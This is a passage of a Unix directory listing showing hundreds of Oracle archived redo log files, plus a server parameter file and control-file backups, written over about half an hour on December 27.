oinstall 6.3M Dec 27 21:39 arch1_1211_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1212_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.2M Dec 27 21:40 arch1_1213_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1214_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1215_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1216_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1217_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1218_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1219_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1220_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1221_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1222_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1223_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1224_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1225_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1226_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1227_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1228_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1229_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:40 arch1_1230_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1231_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1232_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1233_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 21:41 arch1_1234_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1235_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1236_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1237_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1238_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1239_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1240_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1241_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1242_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1243_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1244_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.4M Dec 27 21:41 arch1_1245_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1246_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1247_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1248_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1249_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:41 arch1_1250_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1251_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1252_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1253_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1254_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1255_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1256_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1257_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1258_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1259_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1260_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1261_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1262_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1263_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.7M Dec 27 21:42 arch1_1264_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1265_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1266_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1267_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.7M Dec 27 21:42 arch1_1268_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:42 arch1_1269_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.4M Dec 27 21:43 arch1_1270_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1271_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1272_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1273_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1274_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1275_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1276_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1277_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1278_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 21:43 arch1_1279_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1280_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1281_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1282_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1283_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:43 arch1_1284_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1285_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.4M Dec 27 21:43 arch1_1286_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1287_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:43 arch1_1288_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1289_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1290_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1291_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1292_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1293_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1294_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1295_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 21:44 arch1_1296_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1297_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1298_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.5M Dec 27 21:44 arch1_1299_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1300_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1301_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1302_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1303_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1304_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1305_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1306_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:44 arch1_1307_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1308_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 21:45 arch1_1309_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1310_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 21:45 arch1_1311_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1312_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1313_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1314_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1315_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1316_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1317_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1318_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1319_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1320_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 21:45 arch1_1321_1215462093.dbf -rw-r-----. 1 oracle oinstall 4.9M Dec 27 21:49 arch1_1322_1215462093.dbf -rw-r-----. 1 oracle oinstall 399K Dec 27 21:50 arch1_1323_1215462093.dbf -rw-r-----. 1 oracle oinstall 2.5K Dec 27 21:53 spfiledb1.ora -rw-r-----. 1 oracle oinstall 14M Dec 27 21:58 snapcf_db1.f -rw-r-----. 1 oracle oinstall 14M Dec 27 21:58 c-1979277899-20251227-01 -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:03 arch1_1324_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:03 arch1_1325_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:03 arch1_1326_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1327_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.4M Dec 27 22:04 arch1_1328_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1329_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1330_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1331_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1332_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1333_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1334_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1335_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1336_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1337_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1338_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1339_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1340_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1341_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 22:04 arch1_1342_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1343_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1344_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:04 arch1_1345_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.9M Dec 27 22:05 arch1_1346_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1347_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.7M Dec 27 22:05 arch1_1348_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1349_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1350_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1351_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1352_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1353_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 22:05 arch1_1354_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1355_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1356_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1357_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1358_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1359_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1360_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1361_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1362_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:05 arch1_1363_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:05 arch1_1364_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1365_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1366_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1367_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.5M Dec 27 22:06 arch1_1368_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1369_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1370_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1371_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1372_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1373_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1374_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1375_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1376_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1377_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1378_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1379_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1380_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1381_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:06 arch1_1382_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.4M Dec 27 22:06 arch1_1383_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1384_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1385_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.7M Dec 27 22:07 arch1_1386_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1387_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:07 arch1_1388_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1389_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.9M Dec 27 22:07 arch1_1390_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1391_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1392_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1393_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1394_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1395_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1396_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1397_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1398_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1399_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1400_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:07 arch1_1401_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.6M Dec 27 22:07 arch1_1402_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 22:08 arch1_1403_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1404_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:08 arch1_1405_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.0M Dec 27 22:08 arch1_1406_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1407_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1408_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1409_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1410_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1411_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1412_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 22:08 arch1_1413_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1414_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1415_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1416_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1417_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1418_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1419_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1420_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1421_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:08 arch1_1422_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1423_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1424_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1425_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1426_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 22:09 arch1_1427_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1428_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1429_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1430_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 22:09 arch1_1431_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1432_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1433_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1434_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1435_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1436_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:09 arch1_1437_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1438_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1439_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1440_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:09 arch1_1441_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1442_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1443_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1444_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1445_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1446_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1447_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1448_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1449_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1450_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1451_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1452_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1453_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1454_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1455_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1456_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1457_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:10 arch1_1458_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.9M Dec 27 22:10 arch1_1459_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.6M Dec 27 22:10 arch1_1460_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.9M Dec 27 22:11 arch1_1461_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1462_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1463_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1464_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1465_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1466_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1467_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1468_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1469_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1470_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1471_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1472_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1473_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1474_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1475_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1476_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1477_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:11 arch1_1478_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 22:11 arch1_1479_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1480_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1481_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1482_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1483_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1484_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1485_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1486_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1487_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.0M Dec 27 22:12 arch1_1488_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1489_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1490_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1491_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1492_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1493_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1494_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1495_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1496_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.0M Dec 27 22:12 arch1_1497_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:12 arch1_1498_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1499_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1500_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1501_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1502_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1503_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1504_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1505_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1506_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1507_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1508_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1509_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1510_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1511_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1512_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1513_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1514_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1515_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1516_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:13 arch1_1517_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1518_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1519_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1520_1215462093.dbf -rw-r-----. 